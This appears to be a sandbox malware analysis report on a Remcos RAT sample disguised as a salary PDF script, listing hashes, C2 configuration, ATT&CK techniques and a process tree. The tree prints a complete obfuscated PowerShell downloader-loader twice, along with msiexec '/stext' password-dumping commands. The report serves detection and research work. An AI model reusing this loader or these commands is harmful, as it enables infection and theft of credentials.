remcos | 6fab653d5e3b00f75cb64d5a58b47ae2c63e50d61795c398ac03a07b39707706

Analysis

max time kernel
147s
max time network
149s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28-11-2024 06:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SalaryRevision_pdf.vbs
Size

17KB
MD5

5d1c989d603ebfb90ac34748dc83ecfa
SHA1

e376e6352049f2f5c67a3fd43d8033c2aeb2a3f4
SHA256

6fab653d5e3b00f75cb64d5a58b47ae2c63e50d61795c398ac03a07b39707706
SHA512

cbe77570336d7d9c35140607bf3e5cd804c503f3d583f1bd8f9cc855dff432a46799a756d3fb4c1e7539371dabb5c7aa391d5f3f114e0afc502560a9d3fa2fcd
SSDEEP

384:ULVKy+9t5Q4LQHsas5E4+atTTkNUPpj+wPOx/fMc34Cj19VVj1BKg:4V5+9t567s7o+R+wWxHMc/nVDBJ

Score

10^/10

remcos remotehost collection discovery rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

154.216.18.214:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-AOD6MB
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral1/memory/2052-55-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/1664-54-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral1/memory/1208-48-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral1/memory/1664-54-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral1/memory/1208-48-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exemsiexec.exe

flow	pid	Process
5	2192	powershell.exe
7	2936	msiexec.exe
9	2936	msiexec.exe
10	2936	msiexec.exe
12	2936	msiexec.exe
13	2936	msiexec.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
File opened (read-only)	\??\Z:	WScript.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
2936	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2744	powershell.exe
2936	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

msiexec.exe

description	pid	Process	procid_target
PID 2936 set thread context of 1208	2936	msiexec.exe	38
PID 2936 set thread context of 1664	2936	msiexec.exe	39
PID 2936 set thread context of 2052	2936	msiexec.exe	40

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.exemsiexec.exemsiexec.exemsiexec.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exemsiexec.exe

pid	Process
2192	powershell.exe
2744	powershell.exe
2744	powershell.exe
1208	msiexec.exe
1208	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2744	powershell.exe
2936	msiexec.exe
2936	msiexec.exe
2936	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exemsiexec.exe

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2052	msiexec.exe

Suspicious use of WriteProcessMemory 35 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

description	pid	Process	procid_target
PID 1744 wrote to memory of 2192	1744	WScript.exe	31
PID 1744 wrote to memory of 2192	1744	WScript.exe	31
PID 1744 wrote to memory of 2192	1744	WScript.exe	31
PID 2744 wrote to memory of 2936	2744	powershell.exe	36
PID 2744 wrote to memory of 2936	2744	powershell.exe	36
PID 2744 wrote to memory of 2936	2744	powershell.exe	36
PID 2744 wrote to memory of 2936	2744	powershell.exe	36
PID 2744 wrote to memory of 2936	2744	powershell.exe	36
PID 2744 wrote to memory of 2936	2744	powershell.exe	36
PID 2744 wrote to memory of 2936	2744	powershell.exe	36
PID 2744 wrote to memory of 2936	2744	powershell.exe	36
PID 2936 wrote to memory of 1208	2936	msiexec.exe	38
PID 2936 wrote to memory of 1208	2936	msiexec.exe	38
PID 2936 wrote to memory of 1208	2936	msiexec.exe	38
PID 2936 wrote to memory of 1208	2936	msiexec.exe	38
PID 2936 wrote to memory of 1208	2936	msiexec.exe	38
PID 2936 wrote to memory of 1208	2936	msiexec.exe	38
PID 2936 wrote to memory of 1208	2936	msiexec.exe	38
PID 2936 wrote to memory of 1208	2936	msiexec.exe	38
PID 2936 wrote to memory of 1664	2936	msiexec.exe	39
PID 2936 wrote to memory of 1664	2936	msiexec.exe	39
PID 2936 wrote to memory of 1664	2936	msiexec.exe	39
PID 2936 wrote to memory of 1664	2936	msiexec.exe	39
PID 2936 wrote to memory of 1664	2936	msiexec.exe	39
PID 2936 wrote to memory of 1664	2936	msiexec.exe	39
PID 2936 wrote to memory of 1664	2936	msiexec.exe	39
PID 2936 wrote to memory of 1664	2936	msiexec.exe	39
PID 2936 wrote to memory of 2052	2936	msiexec.exe	40
PID 2936 wrote to memory of 2052	2936	msiexec.exe	40
PID 2936 wrote to memory of 2052	2936	msiexec.exe	40
PID 2936 wrote to memory of 2052	2936	msiexec.exe	40
PID 2936 wrote to memory of 2052	2936	msiexec.exe	40
PID 2936 wrote to memory of 2052	2936	msiexec.exe	40
PID 2936 wrote to memory of 2052	2936	msiexec.exe	40
PID 2936 wrote to memory of 2052	2936	msiexec.exe	40

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SalaryRevision_pdf.vbs"
1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Dyrtidsregulerende='Vaccinisation';;$sildebenets='Epopees';;$Thiobacilli141='Dicolon';;$Grilleringer='Enwraps';;$skattefinansier='Disemboguing';;$sylespids=$host.Name;function slvbedes($Kofilnaglen){If ($sylespids) {$Overstoring=3} for ($Rdbyeren=$Overstoring;;$Rdbyeren+=4){if(!$Kofilnaglen[$Rdbyeren]) { break }$Peeves+=$Kofilnaglen[$Rdbyeren]}$Peeves}function Mongolide($Ridderskabet){ .($Bengthas) ($Ridderskabet)}$Occamism121=slvbedes ' W N H.eU htUds.UsuWFjeEsambIntC.imlReviFriEC unExcT';$Britannian=slvbedes 'BygMva orecz Voi .olTsel sua Cy/';$Montmorillonitic=slvbedes 'UnaTAdel Cishoo1U n2';$Alterman='Met[samNTu.EImbTslu.Kvassufe oRTelVstaI,rnCMedeLamP unoFroi BiNPa,TBilMPluAE iNPaiaD mg.tte EurFil]Ars: Br:A,nsHi es oc,avUAgerVouiUdbtFejYTekPstoRUnaOLamt,ulOUndcOrnOparL .o=Det$P,iMYdaos,aNsk.tFisM ,no,erR Pai LiLHyplPicoKuknT.rI E,T N i vc';$Britannian+=slvbedes ' st5 Fu.Hyp0Row sli(TosWKi iJ,vno.edBruoEn,w ,hs H. PueNU.iTsem Tes1Bac0 ml. ac0F i; Ce PilW foiCoanEpi6Rat4Ung;L,b MasxRaa6,rr4se ;Men BrrAccvTop:Fab1bud3 Qu1V.n. e 0 r)Zef UeuG ExeCrecFopkAnnoAar/Unk2,li0 sk1 Fi0Ove0spr1ses0sek1Tia DeFFiliLyrrChieAarf A oCapxs b/Far1Cus3Kab1per. my0';$Noncommencement=slvbedes 'svrUtissChaeTanRB r-stra Kag G eBaan P t';$sibyllens=slvbedes 'TrohUhutspat CopOves Br:Ned/sav/ReocarthDes2sotlV nqUku. TiiModcR suReg/tntvAfbZBursCifmBuoKM niDi,C VgOI.d/Aa.VHocnIn,gG oe TorA.rnspreUnf.Tanpst,rVokx';$diskettedrevene=slvbedes 'Ind>';$Bengthas=slvbedes ' s.iDoseBetX';$Portalless='spndingsroman';$smithian='\slingedes.drl';Mongolide (slvbedes ' Pa$ ingAktl .nO omb ibas nLska:U mBOmfL,etyIndG FoLs uaBliN TrsskyeDotNshosHes=Jug$TidE fdNTasV.ol:Dema alPcoaP.efd adasosT suAund+Unp$ Mas,usmateiTelT InhProi muaFa N');Mongolide (slvbedes ' s $CigGAnfl M o E.bTabaT pLBar:DistIn IKonLP pNKomR.niM aEBomd Vae ,as My=.aa$Dens kiPerbMeryPalLbeslse.EUntNLapsU r. fkso,sPNonlT mILovTBro(sem$ drD.deI FrsAnmKAareFagTVikTsameUn dt rr,teED nv abeRepNskeEUds)');Mongolide (slvbedes $Alterman);$sibyllens=$Tilnrmedes[0];$Neapolitanskes=(slvbedes 'Ko $Qu gAn L HaOGesB,anA,isl,ld: nmhA.bePalgAdfel.ynUnas Ka=Te NByze ewsu -ti.o .lbDemJIn EIonC NeTRy. MeasEffyY ws reTBygEscoM Ly. Fa$UndoHaocsnecflya Dem ChI Fis nsMsan1Re 2Mo 1');Mongolide ($Neapolitanskes);Mongolide (slvbedes ' Fr$T.kh O esp,gBrned,kn K.sKlv. RyHU feUgea HodAppeDiark.asRej[ Cr$ R N EsoBalnTodcHido XemWanmUneeKa nIn cNepeHipmKale sknAnetInd]dom=ove$ riBCapr Uni u.tVafaskinDr,nsaliDodaForn');$Overstemme=slvbedes 'Els$ Krh L esnvgPire F nO vs .e.JeoDNatoMicwb knEvel .voUnsa PidhydFNoyiMillInseKam( o$ Fossemisy btruysyclskolVkse R nTons a,Che$ rL stisupnKupeArtaHvirafkl doyDeg)';$Linearly=$Blyglansens;Mongolide (slvbedes 'Hel$Li,gDilLTe.O.nmBEloaR,bLPi :divH alJ kaE Oprda.tCeceRkeG,ruRGlasFo,=E g(BloTReoe vesCo tFam-FejpD.mAshiTOpvh Be Uef$ ndLBreiuncNLunEBruANonrAsoL ekYIll)');while (!$Hjertegrs) {Mongolide (slvbedes 'Int$Celg.erlMesoTiebPolaUptls m: Ins MatLykeRibn.yps Mot iroA rrGarm BeeAn nCoceOp sEpi=Aud$ComAIndfLavl,gou vrBu i DenOctgNo e H r') ;Mongolide $Overstemme;Mongolide (slvbedes 'FjesOvetnora utR Hat Ca- .esstiLGehECoxEskrP a, os4');Mongolide (slvbedes 'Pet$DidgEarLXs OBelBFu as,aLTra: Deh orjGr E.egr unt AcEOr,GPotrstissan=M s(PyrtBeveNedsOstTA,p-ImbP riaDe,tCish At R,$ Bol sti enNHoveAgeaGenrs eLDepY Cu)') ;Mongolide (slvbedes 'Non$Un,gAc,LskioFemBUddABroLUti: CrBMimALipNortkPa.BselOE tk des mEva.N EusHyl=Mar$ otGF nL ,eOAfvbdeoaPhoLL u:Tagb omL PenPisD,erLResYLucGChet areT r+Zoo+ He% Te$ mpTAr.i lilsvmnPunrC umslae ekDKasEEstsDes. DrC b.ODraUnecn ent') ;$sibyllens=$Tilnrmedes[$Bankboksens]}$Deleligt229=322280;$Granulocytopoiesis198=29737;Mongolide (slvbedes 'Lap$HagGWo lMisoorabOvea GalGal:Meta splUvelTanOEm p oaTekT isR .kiEftC r.a TelVgalE.uyHim I y= ar KogGseaEHsttOks-FaxcU ioslunDi t GlEPo N ,iT.in Bry$EpilEl,iLu NF nEskaaNe,RFoxlD tY');Mongolide (slvbedes 'f,l$Kongmall ao,abb toaReplI,c:PreA Zim Rei V n oo tpBraeCynpAg tFrui RedK ea ddsTu eKun sco=.ld s [fa,sCuryJonsHu tTile .omR,s. slC eo rnLeuv roeFesrMult ow]Par:F i:TesFAdmr eloDelmMyxBA taPras K em n6For4 MasFugts vralliRabns ogsoj(b n$m.nAPs lOb.ldksoBoapTegaC rtN,nrReliskec piaKonl alAfsyEk.)');Mongolide (slvbedes 'Exs$HypG FeLsvio .kbRelAObjLEk :Unas enK.rmaUdemD cLOveB umEP orC r s.c= .a Rh[Bess leyGsts P.t hiEBriMCon.Dr,tHa.eEmbXBleTPop.sp.eUndns rc EooPreDKy I flnIn g ma]Trk:sta:Gloa Vis AtcNonITraIBlo.OldGHe.eProt.itsRegT RoROpdiGlsnIs,Gsoc(Thi$In A geMfr I ReN UaOPa PLnmEAfvPFoot spIFordMisA Trss leTit)');Mongolide (slvbedes ' A $sekGJimLW aoAdybPl,aFlolfor: TreLarfZaptp,reUtrRBehk Der A aForv sfs Mab orE oLeksBNedeH.tTFru= ov$ absRevK ,fAs yms rLBagbBasEsilRDeo.spesHaruNerbsu,sAfhTH aRVulI ndnRingGen(Esc$D,edFooePuglsaieKv,LEn.IPseGdektelo2Rou2Ove9Nou,s.v$topG orRIncaKv n ysUEp.ls kONonCGavYUddTUndOpe P Flospii unEspusL,rIBijsFog1 D 9Pha8Pri)');Mongolide $Efterkravsbelbet;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2192

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Dyrtidsregulerende='Vaccinisation';;$sildebenets='Epopees';;$Thiobacilli141='Dicolon';;$Grilleringer='Enwraps';;$skattefinansier='Disemboguing';;$sylespids=$host.Name;function slvbedes($Kofilnaglen){If ($sylespids) {$Overstoring=3} for ($Rdbyeren=$Overstoring;;$Rdbyeren+=4){if(!$Kofilnaglen[$Rdbyeren]) { break }$Peeves+=$Kofilnaglen[$Rdbyeren]}$Peeves}function Mongolide($Ridderskabet){ .($Bengthas) ($Ridderskabet)}$Occamism121=slvbedes ' W N H.eU htUds.UsuWFjeEsambIntC.imlReviFriEC unExcT';$Britannian=slvbedes 'BygMva orecz Voi .olTsel sua Cy/';$Montmorillonitic=slvbedes 'UnaTAdel Cishoo1U n2';$Alterman='Met[samNTu.EImbTslu.Kvassufe oRTelVstaI,rnCMedeLamP unoFroi BiNPa,TBilMPluAE iNPaiaD mg.tte EurFil]Ars: Br:A,nsHi es oc,avUAgerVouiUdbtFejYTekPstoRUnaOLamt,ulOUndcOrnOparL .o=Det$P,iMYdaos,aNsk.tFisM ,no,erR Pai LiLHyplPicoKuknT.rI E,T N i vc';$Britannian+=slvbedes ' st5 Fu.Hyp0Row sli(TosWKi iJ,vno.edBruoEn,w ,hs H. PueNU.iTsem Tes1Bac0 ml. ac0F i; Ce PilW foiCoanEpi6Rat4Ung;L,b MasxRaa6,rr4se ;Men BrrAccvTop:Fab1bud3 Qu1V.n. e 0 r)Zef UeuG ExeCrecFopkAnnoAar/Unk2,li0 sk1 Fi0Ove0spr1ses0sek1Tia DeFFiliLyrrChieAarf A oCapxs b/Far1Cus3Kab1per. my0';$Noncommencement=slvbedes 'svrUtissChaeTanRB r-stra Kag G eBaan P t';$sibyllens=slvbedes 'TrohUhutspat CopOves Br:Ned/sav/ReocarthDes2sotlV nqUku. TiiModcR suReg/tntvAfbZBursCifmBuoKM niDi,C VgOI.d/Aa.VHocnIn,gG oe TorA.rnspreUnf.Tanpst,rVokx';$diskettedrevene=slvbedes 'Ind>';$Bengthas=slvbedes ' s.iDoseBetX';$Portalless='spndingsroman';$smithian='\slingedes.drl';Mongolide (slvbedes ' Pa$ ingAktl .nO omb ibas nLska:U mBOmfL,etyIndG FoLs uaBliN TrsskyeDotNshosHes=Jug$TidE fdNTasV.ol:Dema alPcoaP.efd adasosT suAund+Unp$ Mas,usmateiTelT InhProi muaFa N');Mongolide (slvbedes ' s $CigGAnfl M o E.bTabaT pLBar:DistIn IKonLP pNKomR.niM aEBomd Vae ,as My=.aa$Dens kiPerbMeryPalLbeslse.EUntNLapsU r. fkso,sPNonlT mILovTBro(sem$ drD.deI FrsAnmKAareFagTVikTsameUn dt rr,teED nv abeRepNskeEUds)');Mongolide (slvbedes $Alterman);$sibyllens=$Tilnrmedes[0];$Neapolitanskes=(slvbedes 'Ko $Qu gAn L HaOGesB,anA,isl,ld: nmhA.bePalgAdfel.ynUnas Ka=Te NByze ewsu -ti.o .lbDemJIn EIonC NeTRy. MeasEffyY ws reTBygEscoM Ly. Fa$UndoHaocsnecflya Dem ChI Fis nsMsan1Re 2Mo 1');Mongolide ($Neapolitanskes);Mongolide (slvbedes ' Fr$T.kh O esp,gBrned,kn K.sKlv. RyHU feUgea HodAppeDiark.asRej[ Cr$ R N EsoBalnTodcHido XemWanmUneeKa nIn cNepeHipmKale sknAnetInd]dom=ove$ riBCapr Uni u.tVafaskinDr,nsaliDodaForn');$Overstemme=slvbedes 'Els$ Krh L esnvgPire F nO vs .e.JeoDNatoMicwb knEvel .voUnsa PidhydFNoyiMillInseKam( o$ Fossemisy btruysyclskolVkse R nTons a,Che$ rL stisupnKupeArtaHvirafkl doyDeg)';$Linearly=$Blyglansens;Mongolide (slvbedes 'Hel$Li,gDilLTe.O.nmBEloaR,bLPi :divH alJ kaE Oprda.tCeceRkeG,ruRGlasFo,=E g(BloTReoe vesCo tFam-FejpD.mAshiTOpvh Be Uef$ ndLBreiuncNLunEBruANonrAsoL ekYIll)');while (!$Hjertegrs) {Mongolide (slvbedes 'Int$Celg.erlMesoTiebPolaUptls m: Ins MatLykeRibn.yps Mot iroA rrGarm BeeAn nCoceOp sEpi=Aud$ComAIndfLavl,gou vrBu i DenOctgNo e H r') ;Mongolide $Overstemme;Mongolide (slvbedes 'FjesOvetnora utR Hat Ca- .esstiLGehECoxEskrP a, os4');Mongolide (slvbedes 'Pet$DidgEarLXs OBelBFu as,aLTra: Deh orjGr E.egr unt AcEOr,GPotrstissan=M s(PyrtBeveNedsOstTA,p-ImbP riaDe,tCish At R,$ Bol sti enNHoveAgeaGenrs eLDepY Cu)') ;Mongolide (slvbedes 'Non$Un,gAc,LskioFemBUddABroLUti: CrBMimALipNortkPa.BselOE tk des mEva.N EusHyl=Mar$ otGF nL ,eOAfvbdeoaPhoLL u:Tagb omL PenPisD,erLResYLucGChet areT r+Zoo+ He% Te$ mpTAr.i lilsvmnPunrC umslae ekDKasEEstsDes. DrC b.ODraUnecn ent') ;$sibyllens=$Tilnrmedes[$Bankboksens]}$Deleligt229=322280;$Granulocytopoiesis198=29737;Mongolide (slvbedes 'Lap$HagGWo lMisoorabOvea GalGal:Meta splUvelTanOEm p oaTekT isR .kiEftC r.a TelVgalE.uyHim I y= ar KogGseaEHsttOks-FaxcU ioslunDi t GlEPo N ,iT.in Bry$EpilEl,iLu NF nEskaaNe,RFoxlD tY');Mongolide (slvbedes 'f,l$Kongmall ao,abb toaReplI,c:PreA Zim Rei V n oo tpBraeCynpAg tFrui RedK ea ddsTu eKun sco=.ld s [fa,sCuryJonsHu tTile .omR,s. slC eo rnLeuv roeFesrMult ow]Par:F i:TesFAdmr eloDelmMyxBA taPras K em n6For4 MasFugts vralliRabns ogsoj(b n$m.nAPs lOb.ldksoBoapTegaC rtN,nrReliskec piaKonl alAfsyEk.)');Mongolide (slvbedes 'Exs$HypG FeLsvio .kbRelAObjLEk :Unas enK.rmaUdemD cLOveB umEP orC r s.c= .a Rh[Bess leyGsts P.t hiEBriMCon.Dr,tHa.eEmbXBleTPop.sp.eUndns rc EooPreDKy I flnIn g ma]Trk:sta:Gloa Vis AtcNonITraIBlo.OldGHe.eProt.itsRegT RoROpdiGlsnIs,Gsoc(Thi$In A geMfr I ReN UaOPa PLnmEAfvPFoot spIFordMisA Trss leTit)');Mongolide (slvbedes ' A $sekGJimLW aoAdybPl,aFlolfor: TreLarfZaptp,reUtrRBehk Der A aForv sfs Mab orE oLeksBNedeH.tTFru= ov$ absRevK ,fAs yms rLBagbBasEsilRDeo.spesHaruNerbsu,sAfhTH aRVulI ndnRingGen(Esc$D,edFooePuglsaieKv,LEn.IPseGdektelo2Rou2Ove9Nou,s.v$topG orRIncaKv n ysUEp.ls kONonCGavYUddTUndOpe P Flospii unEspusL,rIBijsFog1 D 9Pha8Pri)');Mongolide $Efterkravsbelbet;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\wvygmhthcxnd"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1208
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gqlznzebqffilbv"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:1664
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\isqjnsodeoxnvhrxmf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\wvygmhthcxnd

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9IN3QIX1Z4W7W9AYO2F2.temp

Filesize
7KB

MD5
b2b349c3ffd49f8b2a89dfaadd32c99d

SHA1
38e15295e39db49861a7554bc34db69d20d0b509

SHA256
ad0815a47e448f53d3aa48b5428eeeb6f1ef469c1af64f27dbd8f078b3dd14af

SHA512
ecc0d5045cbed0d25b56d6d6645238c88537e4de59665c1f4b86acdff74b443e66eaaf90f19af0ed3a50a484f54f5e908304abf0a7ff14fe97809a69d87da641

Download Submit
C:\Users\Admin\AppData\Roaming\slingedes.drl

Filesize
458KB

MD5
a1d3a93bddabdbbc3cf313f142230d21

SHA1
39be7f303d116a32d03e223e57cc2f628c74cf1d

SHA256
2d8104c76845810795e0984cacdf707c91e7683f884d2f855053412da4e86235

SHA512
8b0d396dc4373d4e3b77d409eacdd26d16e474bb3470e103c1696fd8726d9624879b14983c0d8abc3265c07a2e0533ef48f07e5ee5f6833de2f06fdac87817c1

Download Submit
memory/1208-39-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1208-42-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1208-44-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1208-48-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1664-40-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1664-41-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1664-45-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1664-47-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1664-54-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2052-49-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2052-53-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2052-51-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2052-50-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2052-55-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2192-7-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-5-0x000000001B4B0000-0x000000001B792000-memory.dmp

Filesize
2.9MB

Download
memory/2192-4-0x000007FEF5C4E000-0x000007FEF5C4F000-memory.dmp

Filesize
4KB

Download
memory/2192-14-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-11-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-10-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-9-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-8-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-6-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2744-18-0x0000000006810000-0x00000000077E0000-memory.dmp

Filesize
15.8MB

Download
memory/2936-65-0x0000000002B30000-0x0000000002B49000-memory.dmp

Filesize
100KB

Download
memory/2936-68-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-61-0x0000000002B30000-0x0000000002B49000-memory.dmp

Filesize
100KB

Download
memory/2936-32-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-64-0x0000000002B30000-0x0000000002B49000-memory.dmp

Filesize
100KB

Download
memory/2936-66-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-67-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-36-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-69-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-70-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-71-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-72-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-73-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-74-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-75-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download
memory/2936-76-0x00000000003E0000-0x0000000001442000-memory.dmp

Filesize
16.4MB

Download